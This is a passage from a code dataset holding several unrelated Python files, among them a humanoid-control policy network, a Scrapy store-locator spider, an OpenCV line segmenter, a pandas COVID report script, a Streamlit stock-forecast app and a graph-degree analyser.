dist\n        self.model_action_mean = nn.Linear(cur_dim, self.model_action_dim)\n        self.model_action_log_std = nn.Parameter(torch.ones(1, self.model_action_dim) * cfg['model_log_std'], requires_grad=not cfg['fix_model_std'])\n        init_fc_weights(self.model_action_mean)\n\n    def batch_data(self, x):\n        obs, edges, use_design_action, num_nodes = zip(*x)\n        obs = torch.cat(obs)\n        use_design_action = np.concatenate(use_design_action)\n        num_nodes = np.concatenate(num_nodes)\n        edges_new = torch.cat(edges, dim=1)\n        num_nodes_cum = np.cumsum(num_nodes)\n        return obs, edges_new, use_design_action, num_nodes, num_nodes_cum\n\n    def forward(self, x):\n        # attr_obs, sim_obs = torch.split(obs, [self.attr_obs_dim, self.sim_obs_dim])\n        control_x, design_x = [], []\n        node_design_mask = []\n        design_mask = []\n        total_num_nodes = 0\n        for i, x_i in enumerate(x):\n            num = x_i[-1].item()\n            is_design = x_i[-2].item() == 1\n            (control_x, design_x)[is_design].append(x_i)\n            node_design_mask += [is_design] * num\n            design_mask.append(is_design)\n            total_num_nodes += num\n        node_design_mask = torch.BoolTensor(node_design_mask)\n        design_mask = torch.BoolTensor(design_mask)\n        # control\n        if len(control_x) > 0:\n            obs, edges, use_design_action, num_nodes, num_nodes_cum_control = self.batch_data(control_x)\n            x = obs\n            if self.control_norm is not None:\n                x = self.control_norm(x)\n            \n            n = int(num_nodes.mean())\n            x = x.view(-1, n, x.shape[-1]).transpose(0, 1).contiguous()\n            x = self.control_pos_enc(x)\n            x = self.control_tf(x)\n            x = x.transpose(0, 1).reshape(-1, x.shape[-1])\n\n            control_action_mean = self.control_action_mean(x)\n            control_action_std = self.control_action_log_std.expand_as(control_action_mean).exp()\n            control_dist = DiagGaussian(control_action_mean, control_action_std)\n        else:\n            num_nodes_cum_control = None\n            control_dist = None\n            \n        # design\n        if len(design_x) > 0:\n            obs, edges, use_design_action, num_nodes, num_nodes_cum_design = self.batch_data(design_x)\n            obs = torch.cat((obs[:, :self.attr_obs_dim], obs[:, -self.design_obs_dim:]), dim=-1)\n            x = obs\n            if self.model_norm is not None:\n                x = self.model_norm(x)\n            \n            n = int(num_nodes.mean())\n            x = x.view(-1, n, x.shape[-1]).transpose(0, 1).contiguous()\n            x = self.model_pos_enc(x)\n            x = self.model_tf(x)\n            x = x.transpose(0, 1).reshape(-1, x.shape[-1])\n\n            model_action_mean = self.model_action_mean(x)\n            model_action_std = self.model_action_log_std.expand_as(model_action_mean).exp()\n            model_dist = DiagGaussian(model_action_mean, model_action_std)\n        else:\n            num_nodes_cum_design = None\n            model_dist = None\n        return control_dist, model_dist, node_design_mask, design_mask, total_num_nodes, num_nodes_cum_control, num_nodes_cum_design, x[0][0].device\n\n    def select_action(self, x, mean_action=False):\n        \n        control_dist, model_dist, node_design_mask, _, total_num_nodes, _, _, device = self.forward(x)\n        if control_dist is not None:\n            control_action = control_dist.mean_sample() if mean_action else control_dist.sample()\n        else:\n            control_action = None\n\n        if model_dist is not None:\n            model_action = model_dist.mean_sample() if mean_action else model_dist.sample()\n        else:\n            model_action = None\n\n        action = torch.zeros(total_num_nodes, self.action_dim).to(device)\n        if control_action is not None:\n            action[~node_design_mask, :self.control_action_dim] = control_action\n        if model_action is not None:\n            action[node_design_mask, self.control_action_dim:] = model_action\n        return action\n\n    def get_log_prob(self, x, action):\n        action = torch.cat(action)\n        control_dist, model_dist, node_design_mask, design_mask, total_num_nodes, num_nodes_cum_control, num_nodes_cum_design, device = self.forward(x)\n        action_log_prob = torch.zeros(design_mask.shape[0], 1).to(device)\n        # control log prob\n        if control_dist is not None:\n            control_action = action[~node_design_mask, :self.control_action_dim]\n            control_action_log_prob_nodes = control_dist.log_prob(control_action)\n            control_action_log_prob_cum = torch.cumsum(control_action_log_prob_nodes, dim=0)\n            control_action_log_prob_cum = control_action_log_prob_cum[torch.LongTensor(num_nodes_cum_control) - 1]\n            control_action_log_prob = torch.cat([control_action_log_prob_cum[[0]], control_action_log_prob_cum[1:] - control_action_log_prob_cum[:-1]])\n            action_log_prob[~design_mask] = control_action_log_prob\n        # model log prob\n        if model_dist is not None:\n            model_action = action[node_design_mask, self.control_action_dim:]\n            model_action_log_prob_nodes = model_dist.log_prob(model_action)\n            model_action_log_prob_cum = torch.cumsum(model_action_log_prob_nodes, dim=0)\n            model_action_log_prob_cum = model_action_log_prob_cum[torch.LongTensor(num_nodes_cum_design) - 1]\n            model_action_log_prob = torch.cat([model_action_log_prob_cum[[0]], model_action_log_prob_cum[1:] - model_action_log_prob_cum[:-1]])\n            action_log_prob[design_mask] = model_action_log_prob\n        return action_log_prob\n\n\n","repo_name":"ZhengyiLuo/UniversalHumanoidControl","sub_path":"uhc/models/tf_policy.py","file_name":"tf_policy.py","file_ext":"py","file_size_in_byte":8158,"program_lang":"python","lang":"en","doc_type":"code","stars":119,"dataset":"github-code","pt":"16"}
+{"seq_id":"71210961927","text":"# https://leetcode.com/problems/insert-delete-getrandom-o1/\n\nfrom collections import defaultdict\nimport random\n\n\nclass RandomizedSet:\n    def __init__(self):\n        self.dataMap = defaultdict(\n            int\n        )  # dictionary, aka map, aka hashtable, aka hashmap\n        self.data = []  # list aka array\n\n    def insert(self, val: int) -> bool:\n        if val in self.dataMap:\n            return False\n        self.dataMap[val] = len(self.data)\n        self.data.append(val)\n        return True\n\n    def remove(self, val: int) -> bool:\n        if val not in self.dataMap:\n            return False\n\n        lastEle = self.data[-1]\n        indexToRemove = self.dataMap[val]\n\n        self.data[indexToRemove] = lastEle\n        self.dataMap[lastEle] = indexToRemove\n        self.data.pop()\n        self.dataMap.pop(val)\n        return True\n\n    def getRandom(self) -> int:\n        print(self.data)\n        return random.choice(self.data)\n\n\ns = RandomizedSet()\nprint(s.insert(0))\nprint(s.insert(1))\nprint(s.remove(0))\nprint(s.insert(2))\nprint(s.remove(1))\nprint(s.getRandom())\n","repo_name":"codingpeasant/likou","sub_path":"py/InsertDeleteGetRandom.Py","file_name":"InsertDeleteGetRandom.Py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"39692623277","text":"import scrapy\nimport json\nimport os\nfrom scrapy.spiders import Spider\nfrom scrapy.http import FormRequest\nfrom scrapy.http import Request\nfrom chainxy.items import ChainItem\nfrom lxml import etree\nfrom selenium import webdriver\nfrom lxml import html\nimport usaddress\n\nclass discountdrugmart(scrapy.Spider):\n\tname = 'discountdrugmart'\n\tdomain = ''\n\thistory = []\n\n\tdef start_requests(self):\n\t\tinit_url = 'https://discount-drugmart.com/our-store/store-locator/'\n\t\tyield scrapy.Request(url=init_url, callback=self.body) \n\n\tdef body(self, response):\n\t\tdata = response.body.split('var stores =')[1].strip().split('var stores_meta =')[0].strip()[:-1]\n\t\tstore_list = json.loads(data)\t\n\t\tfor store in store_list:\n\t\t\titem = ChainItem()\n\t\t\titem['store_name'] = 'Discount Drug Mart'\n\t\t\titem['store_number'] = self.validate(store['store'])\n\t\t\titem['address'] = self.validate(store['address'])\n\t\t\titem['city'] = self.validate(store['city'])\n\t\t\titem['state'] = self.validate(store['state'])\n\t\t\titem['zip_code'] = self.validate(store['zip'])\n\t\t\titem['country'] = 'United States'\n\t\t\titem['phone_number'] = self.validate(store['phone'])\n\t\t\titem['latitude'] = self.validate(store['latitude'])\n\t\t\titem['longitude'] = self.validate(store['longitude'])\n\t\t\titem['store_hours'] = 'Store Hours : ' + self.validate(store['store_hours']) + ' Pharmacy Hours : ' + self.validate(store['pharmacy_hours'])\n\t\t\tyield item\t\t\t\n\n\tdef validate(self, item):\n\t\ttry:\n\t\t\treturn item.strip()\n\t\texcept:\n\t\t\treturn ''\n\n\tdef eliminate_space(self, items):\n\t\ttmp = []\n\t\tfor item in items:\n\t\t\tif self.validate(item) != '':\n\t\t\t\ttmp.append(self.validate(item))\n\t\treturn tmp\n","repo_name":"coralisland-git/Alscrapy-store-locations","sub_path":"172700(BS10)/template/chainxy/spiders/discountdrugmart.py","file_name":"discountdrugmart.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"11810192329","text":"\r\nimport cv2\r\nimport numpy as np\r\n#import image\r\nimage = cv2.imread('alo/2.png')\r\ncv2.imshow('orig', image)\r\ncv2.waitKey(0)\r\n\r\nif image.shape[0] < 40:\r\n   print(image.shape[0])\r\n   image = cv2.resize(image, (image.shape[1] * 2, image.shape[0] * 2))\r\n\r\n#grayscale\r\ngray = cv2.cvtColor(image,cv2.COLOR_BGR2GRAY)\r\ncv2.imshow('gray',gray)\r\ncv2.waitKey(0)\r\n\r\n#binary\r\nret,thresh = cv2.threshold(gray, 109, 255, cv2.THRESH_BINARY_INV)\r\ncv2.imshow('second',thresh)\r\ncv2.waitKey(0)\r\n\r\n\r\n\r\n#dilation\r\nkernel = np.ones((9,9), np.uint8)\r\nimg_dilation = cv2.dilate(thresh, kernel, iterations=1)\r\ncv2.imshow('dilated',img_dilation)\r\ncv2.waitKey(0)\r\nim2, ctrs, hier = cv2.findContours(img_dilation.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\r\nprev = 0\r\n\r\nkernel = np.ones((5,2), np.uint8)\r\ni=1\r\nwhile prev != len(ctrs):\r\n   prev = len(ctrs)\r\n   img_dilation = cv2.dilate(img_dilation, kernel, iterations=-1)\r\n   im2, ctrs, hier = cv2.findContours(img_dilation.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\r\n   print (prev, len(ctrs))\r\n   cv2.imshow('dilated', img_dilation)\r\n   cv2.waitKey(0)\r\n   if i==1:\r\n      i=2\r\n   else:\r\n      i=1\r\n\r\n#sort contours)\r\nsorted_ctrs = sorted(ctrs, key=lambda ctr: cv2.boundingRect(ctr)[0], reverse=True)\r\n\r\nfor i, ctr in enumerate(sorted_ctrs):\r\n   # Get bounding box\r\n   x, y, w, h = cv2.boundingRect(ctr)\r\n\r\n   # Getting ROI\r\n   roi = image[y:y+h, x:x+w]\r\n\r\n   # show ROI\r\n   cv2.imshow('segment no:'+str(i),roi)\r\n   cv2.rectangle(image,(x,y),( x + w, y + h ),(90,0,255),2)\r\n   cv2.waitKey(0)\r\n   cv2.imwrite(\"roi/\" + str(y) + \"-\" + str(y+h) + \".png\", roi)\r\n\r\ncv2.imshow('marked areas',image)\r\ncv2.waitKey(0)\r\n\r\ncv2.imwrite(\"alo.png\", image)\r\n","repo_name":"moranzargari/Handwriting-detection-recognition","sub_path":"lines detection/FindConturs.py","file_name":"FindConturs.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14086193259","text":"# 数据bug问题，亚洲数据\r\n# 中国疫情地区数据\r\n# 确诊人数，排序，从到高低\r\n# 改变成比较好理解的列名\r\n# top10国家sheet\r\nimport pandas as pd\r\n\r\n\r\ndef fix_issues_from_boss():\r\n    # 读取亚洲的数据\r\n    data = pd.read_excel('./excel_files/report.xlsx', sheet_name=None, engine='openpyxl')\r\n    # 初始化新的报告文件\r\n    writer = pd.ExcelWriter('./excel_files/report_fixed.xlsx', engine='openpyxl')\r\n    # 依次拿到所有sheet的数据。\r\n    for key, df in data.items():\r\n        df = df.rename(columns={'confirmedCount': '累计确诊', 'curedCount': '治愈',\r\n                                'currentConfirmedCount': '当前确诊', 'deadCount': '死亡'})\r\n        if key == '亚洲':\r\n            # 找到中国的地区数据\r\n            df_china_details = df[(df['countryName'] == '中国') & (df['provinceName'] != '中国')]\r\n            # 从亚洲数据里面，删除中国的地区数据\r\n            df = df.drop(df_china_details.index)\r\n            # 把中国地区数据存入excel\r\n            df_china_details = df_china_details.sort_values(by='累计确诊', ascending=False)\r\n            df_china_details.to_excel(writer, sheet_name='中国', index=False)\r\n\r\n        # 保存进新的report, 按照累计确诊排序\r\n        df = df.sort_values(by='累计确诊', ascending=False)\r\n        df.to_excel(writer, sheet_name=key, index=False)\r\n\r\n    writer.save()\r\n\r\n\r\ndef make_top10_country():\r\n    # 读取所有的sheet\r\n    all_df_dict = pd.read_excel('./excel_files/report_fixed.xlsx', sheet_name=None, engine='openpyxl')\r\n\r\n    # 去掉不需要的sheet 汇总和中国\r\n    del all_df_dict['汇总']\r\n    del all_df_dict['中国']\r\n    # 确保top10sheet是不存在\r\n    if 'top10' in all_df_dict.keys():\r\n        del all_df_dict['top10']\r\n    # 整合数据\r\n    all_df = pd.concat(all_df_dict, ignore_index=True)\r\n    # 排序，找到top10的国家\r\n    all_df = all_df.sort_values(by='累计确诊', ascending=False)\r\n    top_10_df = all_df.head(10)\r\n    # 保存回report_fixed\r\n    writer = pd.ExcelWriter('./excel_files/report_fixed.xlsx', engine='openpyxl', mode='a')\r\n    top_10_df.to_excel(writer, sheet_name='top10', index=False)\r\n    writer.save()\r\n\r\n\r\nfix_issues_from_boss()\r\nmake_top10_country()\r\n","repo_name":"Akagilnc/python1.0","sub_path":"lesson6.py","file_name":"lesson6.py","file_ext":"py","file_size_in_byte":2294,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"6539928095","text":"from concurrent.futures import ThreadPoolExecutor\nfrom datetime import date\nfrom datetime import datetime\nimport pandas as pd\nimport requests\nimport streamlit as st\nimport yfinance as yf\nfrom plotly import graph_objs as go\nfrom prophet import Prophet\nfrom prophet.diagnostics import cross_validation\nfrom prophet.diagnostics import performance_metrics\nfrom prophet.plot import plot_cross_validation_metric\nfrom prophet.plot import plot_plotly\n\ndiagnostics_run = False\npage_tabs = [\"**Forecast**\", \"**Recommendation**\", \"**Latest News**\", \"**Diagnostics**\"]\nst.set_page_config(page_title=\"Stock Sense Analytics\", layout=\"wide\")\nst.markdown('<h1 style=\"text-align: center;\">Stock Sense Analytics</h1>', unsafe_allow_html=True)\n\n\nclass ForecastStockPrice:\n\n    def __init__(self):\n        self.csv_file_path = 'ind_nifty500list.csv'\n        self.START = datetime(2020, 1, 1).date()\n        self.TODAY = date.today()\n\n    @st.cache_data\n    def get_stocks_from_csv_data(_self):\n        \"\"\"\n        returns a dictionary with stock_name:stock_symbol and a list with industry name\n        :return:\n        \"\"\"\n        df = pd.read_csv(_self.csv_file_path, sep=',')\n        stocks = dict(zip(df['Company Name'], df['Symbol'].astype(str) + '.NS'))\n        return stocks\n\n    def return_ticker_and_data(self, stocks):\n        \"\"\"\n\n        :param stocks:\n        :return:\n        \"\"\"\n        stock_name = tuple(stocks.keys())\n        selected_stock = st.sidebar.selectbox(\"**Select stock**\", stock_name)\n        ticker = stocks[selected_stock]\n        start_date = st.sidebar.date_input(\"**Start Date**\", self.START)\n        end_date = st.sidebar.date_input(\"**End Date**\", self.TODAY)\n        return ticker, start_date, end_date\n\n    @staticmethod\n    @st.cache_data\n    def fetch_stock_news(ticker):\n        \"\"\"\n\n        :return:\n        \"\"\"\n        r = requests.get(f\"https://api.stocktwits.com/api/2/streams/symbol/{ticker}.json\")\n        data = r.json()\n        ticker_symbol_name = ticker.split(\".\")\n        st.subheader(f\"Latest news for {ticker_symbol_name[0]}\")\n        for message in data['messages']:\n            st.image(message['user']['avatar_url'])\n            st.write(message['user']['username'])\n            st.write(message['created_at'])\n            st.write(message['body'])\n            st.write(\"---\")\n\n    @staticmethod\n    @st.cache_resource\n    def show_ticker_data(ticker, start_date, end_date):\n        \"\"\"\n\n        :param ticker:\n        :param start_date:\n        :param end_date:\n        :return:\n        \"\"\"\n        # create ticker object\n        tickerData = yf.Ticker(ticker)\n        historical_data = tickerData.history(start=start_date, end=end_date)\n        historical_data = historical_data.reset_index()\n        historical_data['Date'] = historical_data['Date'].dt.tz_localize(None)\n\n        # st.write(tickerData.info)\n        string_name = tickerData.info['longName']\n        st.header(f'**{string_name}**')\n\n        string_rec = tickerData.info['recommendationKey']\n        st.info(f\"Recommendation: {string_rec}\")\n\n        # Ticker Data\n        st.subheader('Ticker data')\n        historical_data = historical_data.rename_axis('S.No.')\n        st.dataframe(historical_data.tail(), use_container_width=True)\n        return historical_data\n\n    @staticmethod\n    @st.cache_data\n    def plot_raw_data(historical_data):\n        \"\"\"\n\n        :return:\n        \"\"\"\n        # Create the candlestick chart figure\n        fig = go.Figure(data=go.Candlestick(x=historical_data['Date'],\n                                            open=historical_data['Open'],\n                                            high=historical_data['High'],\n                                            low=historical_data['Low'],\n                                            close=historical_data['Close']))\n        # Customize the layout\n        fig.update_layout(\n            title=\"Price Action Graph\",\n            xaxis_title=\"Date\",\n            yaxis_title=\"Price\"\n        )\n        # Render the chart in Streamlit\n        st.plotly_chart(fig, use_container_width=True)\n\n    @staticmethod\n    def outlier_data(ticker):\n        lockdowns = pd.DataFrame([\n            {'holiday': 'lockdown_1', 'ds': '2020-03-21', 'lower_window': 0, 'ds_upper': '2020-06-06'},\n            {'holiday': 'lockdown_2', 'ds': '2020-07-09', 'lower_window': 0, 'ds_upper': '2020-10-27'},\n            {'holiday': 'lockdown_3', 'ds': '2021-02-13', 'lower_window': 0, 'ds_upper': '2021-02-17'},\n            {'holiday': 'lockdown_4', 'ds': '2021-05-28', 'lower_window': 0, 'ds_upper': '2021-06-10'},\n            {'holiday': 'war_start', 'ds': '2022-02-23', 'lower_window': 0, 'ds_upper': '2022-03-09'},\n        ])\n        if 'ADANI' in ticker:\n            lockdown_adani = {'holiday': 'Hindunburg', 'ds': '2023-01-25', 'lower_window': 0, 'ds_upper': '2023-05-22'}\n            new_row = pd.DataFrame([lockdown_adani])\n            lockdowns = pd.concat([lockdowns, new_row], ignore_index=True)\n\n        lockdowns[['ds', 'ds_upper']] = lockdowns[['ds', 'ds_upper']].apply(pd.to_datetime)\n        lockdowns['upper_window'] = (lockdowns['ds_upper'] - lockdowns['ds']).dt.days\n        return lockdowns\n\n    @staticmethod\n    def get_data_to_predict_future(historical_data, ticker):\n        # lockdowns = ForecastStockPrice.outlier_data()\n\n        st.subheader(\"Forecast Stock Price\")\n        df_train = historical_data[['Date', 'Close']].rename(columns={\"Date\": \"ds\", \"Close\": \"y\"})\n\n        st.subheader(\"Model Forecast Parameters\")\n        col01, col11, col12 = st.columns(3)\n        n_days = col01.slider(\"**Days of prediction**\", 1, 365, 180)\n        changepoint_prior_scale = col11.slider(\"**Changepoint Prior Scale**\", 0.05, 0.5, 0.2)\n        changepoint_range = col12.slider(\"**Changepoint Range**\", 0.8, 0.95, 0.95)\n        return changepoint_range, changepoint_prior_scale, df_train, n_days\n\n    @staticmethod\n    @st.cache_data\n    def predict_future(changepoint_range, changepoint_prior_scale, lockdowns, df_train, n_days):\n        \"\"\"\n\n        :param changepoint_range:\n        :param changepoint_prior_scale:\n        :param lockdowns:\n        :param df_train:\n        :param n_days:\n        :return:\n        \"\"\"\n        with st.spinner(\"Future Share Price prediction in progress...\"):\n            stock_mod = Prophet(changepoint_range=changepoint_range,\n                                changepoint_prior_scale=changepoint_prior_scale,\n                                holidays=lockdowns)\n            stock_mod.fit(df_train)\n            future = stock_mod.make_future_dataframe(periods=n_days)\n            forecast = stock_mod.predict(future)\n            return forecast, stock_mod\n\n    @staticmethod\n    @st.cache_data\n    def plot_forcast_data(forecast_var, _stock_mod):\n        st.subheader('Forecast data')\n        forecast_var.index.name = 'S.No.'\n        with st.spinner(\"Forcast data in progress...\"):\n            st.dataframe(\n                forecast_var[['ds', 'yhat', 'yhat_lower', 'yhat_upper', 'trend', 'trend_lower',\n                              'trend_upper']].tail().style.set_properties(**{'text-align': 'center'}),\n                use_container_width=True)\n            st.success(\"Forcast data is fetched successfully!\")\n\n        st.subheader('Forecast graph')\n        with st.spinner(\"Plotting forcast graph...\"):\n            fig1 = plot_plotly(_stock_mod, forecast_var, changepoints=True)\n            st.plotly_chart(fig1, use_container_width=True)\n            st.success(\"Forcast data is plotted successfully!\")\n\n        st.subheader(\"Forecast components\")\n        with st.spinner(\"Plotting forecast components...\"):\n            fig2 = _stock_mod.plot_components(forecast_var)\n            st.write(fig2)\n            st.success(\"Forcast components are fetched successfully!\")\n\n    def run_forecast(self):\n        st.title('Forecast')\n        stocks = self.get_stocks_from_csv_data()\n        ticker, start_date, end_date = self.return_ticker_and_data(stocks)\n        historical = ForecastStockPrice.show_ticker_data(ticker, start_date, end_date)\n        ForecastStockPrice.plot_raw_data(historical)\n        lockdowns = ForecastStockPrice.outlier_data(ticker)\n        changepoint_range, changepoint_prior_scale, df_train, n_days = ForecastStockPrice.get_data_to_predict_future(\n            historical, ticker)\n        forecast, stock_mod = ForecastStockPrice.predict_future(changepoint_range, changepoint_prior_scale,\n                                                                lockdowns,\n                                                                df_train, n_days)\n        ForecastStockPrice.plot_forcast_data(forecast, stock_mod)\n        return ticker, stock_mod, historical\n\n    @staticmethod\n    @st.cache_data\n    def run_diagnostics(initial_training_period, change_period, forecast_horizon, _stock_mod):\n        \"\"\"\n\n        :param initial_training_period:\n        :param change_period:\n        :param forecast_horizon:\n        :param _stock_mod:\n        :return:\n        \"\"\"\n        st.write(\"Cross Validation\")\n        df_cv = cross_validation(_stock_mod, initial=f\"{initial_training_period} days\",\n                                 period=f\"{change_period} days\",\n                                 horizon=f\"{forecast_horizon} days\")\n        df_cv.index.name = 'S.No.'\n        st.dataframe(df_cv.head().style.set_properties(**{'text-align': 'center'}), use_container_width=True)\n\n        st.write(\"Performance Metrics\")\n        df_p = performance_metrics(df_cv)\n        df_p['horizon'] = df_p['horizon'].astype(str)\n        df_p.index.name = 'S.No'\n        st.dataframe(df_p.head().style.set_properties(**{'text-align': 'center'}), use_container_width=True)\n\n        st.write(\"Plot Cross Validation Metrics\")\n        fig3 = plot_cross_validation_metric(df_cv, metric='mape')\n        st.write(fig3)\n\n    def diagnostics_data(self, stock_mod):\n        st.subheader(\"Do You want to run Diagnostics?\")\n        diagnostics_option = st.selectbox(\"**Choose an option**\", ('Yes', 'No'), key='diagnostics')\n\n        if diagnostics_option == 'Yes':\n            st.subheader(\"Diagnostics parameters\")\n            col1, col2, col3 = st.columns(3)\n            initial_training_period = col1.slider(\"**Initial Training Period**\", 100, 2500, 500)\n            change_period = col2.slider(\"**Spacing Between Cutoff Dates**\", 25, 100, 50)\n            forecast_horizon = col3.slider(\"**Forecast Horizon**\", 7, 365, 180)\n\n            if st.button('Run Diagnostics'):\n                with st.spinner(\"Backtesting is in progress...\"):\n                    self.run_diagnostics(initial_training_period, change_period, forecast_horizon, stock_mod)\n        else:\n            st.write(\"No Diagnostics to run.\")\n\n    @staticmethod\n    @st.cache_data\n    def get_recommendation_key(symbol):\n        try:\n            financial_data = yf.Ticker(symbol).info\n            recommendation_key = financial_data.get('recommendationKey', None)\n            return recommendation_key\n        except Exception as e:\n            return str(e)\n\n    @st.cache_data\n    def get_recommendations(_self, stocks):\n        # Use ThreadPoolExecutor to fetch recommendation keys for multiple symbols concurrently\n        with ThreadPoolExecutor() as executor:\n            recommendations = list(executor.map(_self.get_recommendation_key, stocks.values()))\n\n        # Create a pandas DataFrame with symbols and their recommendations\n        data = {\n            'Company Name': stocks.keys(),\n            'Recommendation': recommendations\n        }\n        df = pd.DataFrame(data)\n\n        # Filter symbols with recommendation as 'Strong Buy' or 'Underperform'\n        filtered_df = df[df['Recommendation'].isin(['strong_buy', 'underperform'])]\n        return filtered_df\n\n    def show_recommendations(_self):\n        stocks = _self.get_stocks_from_csv_data()\n        with st.spinner(\"Fetching recommendations...\"):\n            recommendations = _self.get_recommendations(stocks)\n        # Display the filtered symbols and their recommendations using st.dataframe\n        if not recommendations.empty:\n            st.dataframe(recommendations, use_container_width=True)\n        else:\n            st.write(\"No symbols with 'Strong Buy' or 'Underperform' recommendation available.\")\n\n    def run_recommendations(self, df):\n        st.title(\"Recommendation\")\n        # if st.button(\"Recommendations Based On Analysts Recommendations\"):\n        st.write(\"**Symbols with recommendation as 'Strong Buy' or 'Underperform'**\")\n        self.show_recommendations()\n\n    def run_app(self):\n        tab1, tab2, tab3, tab4 = st.tabs(page_tabs)\n        with tab1:\n            ticker, stock_mod, df = self.run_forecast()\n        with tab2:\n            self.run_recommendations(df)\n        with tab3:\n            ForecastStockPrice.fetch_stock_news(f\"{ticker}E\")\n        with tab4:\n            self.diagnostics_data(stock_mod)\n\n\nif __name__ == \"__main__\":\n    app = ForecastStockPrice()\n    app.run_app()\n","repo_name":"anujteotia/streamlit_financial_dashboard","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":12946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"37985594916","text":"armstrong = int(input());\n\n\narmlength = len(str(armstrong));\n\nbuffer = armstrong;\nsum =0;\nwhile (buffer > 0):\n    digit = buffer % 10;\n    sum += digit ** armlength;\n    buffer //=10;\n\nif(sum == armstrong):\n    print(\"yes\");\nelse:\n    print(\"no\");        ","repo_name":"eragon11/codekata","sub_path":"Beginner/set2/armstrong.py","file_name":"armstrong.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14710079396","text":"import time\nfrom collections import Counter\n\nimport matplotlib.pyplot as plt\nimport networkx as nx\nimport numpy as np\nfrom sklearn import linear_model\n\nfrom config import enable_plotter\n\n\nclass GraphAnalyser:\n    def __init__(self, graph):\n        self.graph = graph\n        self._degree_sequence = None\n\n    def print_stats(self):\n        print(\"Graph stats:\")\n        self._stats(self.graph)\n\n    @staticmethod\n    def _stats(g):\n        print(\"nodes_cnt (rzad) = {nodes} edges_cnt (rozmiar) = {edges}\"\n              .format(nodes=g.number_of_nodes(),\n                      edges=g.number_of_edges()))\n\n    def connected_components(self):\n        print(\"Connected components:\")\n        start = time.time()\n        print(\"total = {cnt}\".format(cnt=nx.number_connected_components(self.graph)))\n\n        max_sub_graphs = max(nx.connected_component_subgraphs(self.graph), key=len)\n        print(\"TIME:\", time.time() - start)\n        self._stats(max_sub_graphs)\n\n    def all_connected_components(self):\n        print(\"All connected components:\")\n        print(\"total = {cnt}\".format(cnt=nx.number_connected_components(self.graph)))\n\n        sub_graphs = nx.connected_component_subgraphs(self.graph)\n        for sg in sub_graphs:\n            self._stats(sg)\n\n    def degree_plot(self):\n        print(\"Degree rank plot\")\n        degree_sequence = sorted([degree for node, degree in self.graph.degree()])\n        degree_cnt = dict(Counter(degree_sequence))\n        degree_cnt = [(d, degree_cnt.get(d)) for d in degree_cnt.keys()]\n        print(degree_cnt)\n\n        plt.plot(*zip(*degree_cnt), \".\")\n        plt.title(\"Degree distribution plot\")\n        plt.xlabel(\"degree\")\n        plt.ylabel(\"count\")\n        plt.grid()\n        plt.show()\n\n    def degree_rank_log_regression(self):\n        print(\"Rank plot\")\n        degree_sequence = sorted([degree for node, degree in self.graph.degree()])\n        degree_cnt = dict(Counter(degree_sequence))\n        print(degree_cnt)\n\n        xx = list(degree_cnt.keys())\n        yy = list(degree_cnt.values())\n        assert len(xx) == len(yy)\n\n        xx, yy = self._log_binning(xx, yy, 20)\n\n        s = np.sum(yy)\n        cdf = np.cumsum(yy)\n        ccdf = s - cdf\n        yy = ccdf\n\n        xx = np.array(xx)\n        yy = np.array(yy) + 1\n        samples_cnt = len(yy)\n\n        x_log = np.log10(xx)\n        x_log.shape = (samples_cnt, 1)\n\n        y_log = np.log10(yy)\n        y_log.shape = (samples_cnt, 1)\n\n        model = linear_model.LinearRegression()\n        model.fit(x_log, y_log)\n\n        print('DEBUG coefficients: ', model.coef_)\n        print('DEBUG intercept: ', model.intercept_)\n\n        a = model.intercept_\n        b = model.coef_[0][0]\n\n        # minus because exponential function = C * exp(-alpha)\n        alpha = -b\n        print(\"alpha: \", alpha)\n\n        if enable_plotter:\n            plt.plot(x_log, y_log, \".\")\n\n            x = [x_log[0], x_log[-1]]\n            y = [xi * b + a for xi in x]\n            plt.plot(x, y, \"r-\")\n\n            plt.title(\"Degree rank plot\")\n            plt.ylabel(\"ccdf\")\n            plt.xlabel(\"rank\")\n            plt.grid()\n            plt.show()\n\n    def _log_binning(self, xx, yy, bins_cnt):\n        x_min = np.min(xx)\n        x_max = np.max(xx)\n        thresholds = np.logspace(np.log10(x_min), np.log10(x_max), bins_cnt)\n\n        x_bin = list()\n        y_bin = list()\n        x_begin = 0\n        x_end = 0\n        thresholds[-1] += 1\n        thresholds = thresholds[1:]\n        for i in range(len(thresholds)):\n            while x_end < len(xx) and xx[x_end] < thresholds[i]:\n                x_end += 1\n            if x_begin == x_end:\n                continue\n            x = np.mean(xx[x_begin:x_end])\n            y = np.mean(yy[x_begin:x_end])\n\n            x_bin.append(x)\n            y_bin.append(y)\n\n            x_begin = x_end\n        return x_bin, y_bin\n\n    def hill_plot(self):\n        print(\"Hill plot\")\n\n        k_alpha = list()\n        degree_sequence = sorted([degree for node, degree in self.graph.degree()])\n        degree_cnt = dict(Counter(degree_sequence))\n        degree_cnt = sorted(list(degree_cnt.values()), reverse=True)\n        print(degree_cnt)\n\n        nodes_cnt = len(degree_cnt)\n        for consider_cnt in range(2, nodes_cnt + 1):\n            x = np.sum(np.log(degree_cnt[:consider_cnt]))\n            gamma = x / consider_cnt - np.log(degree_cnt[consider_cnt - 1])\n            alpha = 1.0 + 1.0 / gamma\n\n            if consider_cnt % 25 == 0 and consider_cnt >= 100:\n                print(\"alpha(k = {k}) = {alpha}\".format(k=consider_cnt,\n                                                        alpha=alpha))\n            k_alpha.append(alpha)\n\n        if enable_plotter:\n            plt.plot(k_alpha, 'b')\n            plt.title(\"Hill diagram\")\n            plt.ylabel(\"alpha\")\n            plt.xlabel(\"k\")\n            plt.grid()\n            